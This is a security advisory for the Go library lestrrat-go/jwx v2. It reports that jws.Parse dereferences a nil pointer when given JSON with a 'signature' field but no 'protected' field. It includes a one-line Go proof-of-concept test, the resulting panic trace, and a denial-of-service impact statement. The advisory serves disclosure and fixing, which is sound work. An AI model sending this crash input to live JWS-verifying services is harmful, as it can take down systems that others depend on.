GHSA-pvcr-v8j8-j5q3

### Summary

Calling `jws.Parse` with a JSON serialized payload where the `signature` field is present while `protected` is absent can lead to a nil pointer dereference.

### Details

This seems to also affect other functions that calls `Parse` internally, like `jws.Verify`.

My understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.

Based on the stack trace in the PoC, the issue seems to be that the processing done in `jws/message.go:UnmarshalJSON()` assumes that if a `signature` field is present, then a `protected` field is also present. If this is not the case, then the subsequent call to `getB64Value(sig.protected)` will dereference `sig.protected`, which is `nil`.

### PoC

Reproducer:

```go package poc

import ( "testing"

"github.com/lestrrat-go/jwx/v2/jws" )

func TestPOC(t *testing.T) { _, _ = jws.Parse([]byte(`{"signature": ""}`)) } ```

Result:

``` $ go test --- FAIL: TestPOC (0.00s) panic: runtime error: invalid memory address or nil pointer dereference [recovered] panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]

goroutine 6 [running]: testing.tRunner.func1.2({0x628800, 0x831030}) /usr/local/go/src/testing/testing.go:1545 +0x238 testing.tRunner.func1() /usr/local/go/src/testing/testing.go:1548 +0x397 panic({0x628800?, 0x831030?}) /usr/local/go/src/runtime/panic.go:914 +0x21f github.com/lestrrat-go/jwx/v2/jws.getB64Value({0x0?, 0x0?}) /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:484 +0x18 github.com/lestrrat-go/jwx/v2/jws.(*Message).UnmarshalJSON(0xc0000a2140, {0xc0000ec000, 0x11, 0x200}) /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/message.go:323 +0x4ad encoding/json.(*decodeState).object(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0x16?}) /usr/local/go/src/encoding/json/decode.go:604 +0x6cc encoding/json.(*decodeState).value(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0xc00006e630?}) /usr/local/go/src/encoding/json/decode.go:374 +0x3e encoding/json.(*decodeState).unmarshal(0xc0000ea028, {0x64fa60?, 0xc0000a2140?}) /usr/local/go/src/encoding/json/decode.go:181 +0x133 encoding/json.(*Decoder).Decode(0xc0000ea000, {0x64fa60, 0xc0000a2140}) /usr/local/go/src/encoding/json/stream.go:73 +0x179 github.com/lestrrat-go/jwx/v2/internal/json.Unmarshal({0xc00001a288, 0x11, 0x11}, {0x64fa60, 0xc0000a2140}) /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/internal/json/json.go:26 +0x97 github.com/lestrrat-go/jwx/v2/jws.parseJSON({0xc00001a288, 0x11, 0x11}) /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:588 +0x50 github.com/lestrrat-go/jwx/v2/jws.Parse({0xc00001a288, 0x11, 0x11}, {0x0?, 0xc00006e760?, 0x48450f?}) /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:525 +0x89 poc.TestPOC(0x0?) /home/fredrik/src/jwx_poc/poc_test.go:10 +0x57 testing.tRunner(0xc0000e4340, 0x68ef30) /usr/local/go/src/testing/testing.go:1595 +0xff created by testing.(*T).Run in goroutine 1 /usr/local/go/src/testing/testing.go:1648 +0x3ad exit status 2 FAIL poc 0.005s ```

### Impact

The vulnerability can be used to crash / DOS a system doing JWS verification.